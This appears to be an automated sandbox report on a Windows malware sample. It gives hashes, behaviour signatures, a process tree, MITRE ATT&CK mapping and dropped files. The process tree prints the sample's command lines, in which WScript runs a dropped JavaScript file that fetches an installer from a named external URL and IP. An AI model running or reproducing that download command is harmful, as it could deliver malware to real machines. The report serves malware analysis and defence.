ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898

General

Target

ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe
Size

184KB
MD5

7bbc4326d3ec7c5408b3617c728b8b25
SHA1

5676580aaf32285cfdd15757e5428ff4265182c3
SHA256

ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898
SHA512

04203ee0988ce41b57ddd0dc8b8560871e44a8506def017659d0290476fc3b4407c0ebb8e7d4d044c8559f4241c409d07f2eecc4a2e1d1e0b70737ec23ec43bb
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3U:/7BSH8zUB+nGESaaRvoB7FJNndnF

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
2	1272	WScript.exe
6	1272	WScript.exe
7	1552	WScript.exe
9	1552	WScript.exe
10	1520	WScript.exe
14	1520	WScript.exe
15	1968	WScript.exe
17	1968	WScript.exe
18	608	WScript.exe
20	608	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
272	1032	WerFault.exe	26

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 1272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	27
PID 1032 wrote to memory of 1272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	27
PID 1032 wrote to memory of 1272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	27
PID 1032 wrote to memory of 1272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	27
PID 1032 wrote to memory of 1552	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	30
PID 1032 wrote to memory of 1552	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	30
PID 1032 wrote to memory of 1552	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	30
PID 1032 wrote to memory of 1552	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	30
PID 1032 wrote to memory of 1520	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	31
PID 1032 wrote to memory of 1520	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	31
PID 1032 wrote to memory of 1520	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	31
PID 1032 wrote to memory of 1520	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	31
PID 1032 wrote to memory of 1968	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	33
PID 1032 wrote to memory of 1968	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	33
PID 1032 wrote to memory of 1968	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	33
PID 1032 wrote to memory of 1968	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	33
PID 1032 wrote to memory of 608	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	34
PID 1032 wrote to memory of 608	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	34
PID 1032 wrote to memory of 608	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	34
PID 1032 wrote to memory of 608	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	34
PID 1032 wrote to memory of 272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	36
PID 1032 wrote to memory of 272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	36
PID 1032 wrote to memory of 272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	36
PID 1032 wrote to memory of 272	1032	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	36

C:\Users\Admin\AppData\Local\Temp\ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe
"C:\Users\Admin\AppData\Local\Temp\ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf905E.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf905E.exe
  2⤵
  - Blocklisted process makes network request
  PID:1272
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf905E.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf905E.exe
  2⤵
  - Blocklisted process makes network request
  PID:1552
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf905E.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf905E.exe
  2⤵
  - Blocklisted process makes network request
  PID:1520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf905E.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf905E.exe
  2⤵
  - Blocklisted process makes network request
  PID:1968
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf905E.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf905E.exe
  2⤵
  - Blocklisted process makes network request
  PID:608
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 556
  2⤵
  - Program crash
  PID:272

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf905E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\G9ZM85E0.txt

Filesize
99B

MD5
dde05d8cefffeae4390a604d851c9903

SHA1
305fff1d87d99194c9e8f2eef425eba7cf600b5c

SHA256
4935b0bf444697a7246e0ffd977b29350a2d0d9986f62fdf3f4dc7229425fc18

SHA512
08372e30efc4a93b53f8ef1d662766f2114d3167c2c7e62f80cbbc52abfcfd4eef3cc461aacd39928c908c1d6a6d0c80fb6f919d114629e39d300e778024f50d

Download Submit
memory/272-67-0x0000000000000000-mapping.dmp

Download
memory/608-65-0x0000000000000000-mapping.dmp

Download
memory/1032-54-0x0000000075601000-0x0000000075603000-memory.dmp

Filesize
8KB

Download
memory/1272-55-0x0000000000000000-mapping.dmp

Download
memory/1520-61-0x0000000000000000-mapping.dmp

Download
memory/1552-58-0x0000000000000000-mapping.dmp

Download
memory/1968-63-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing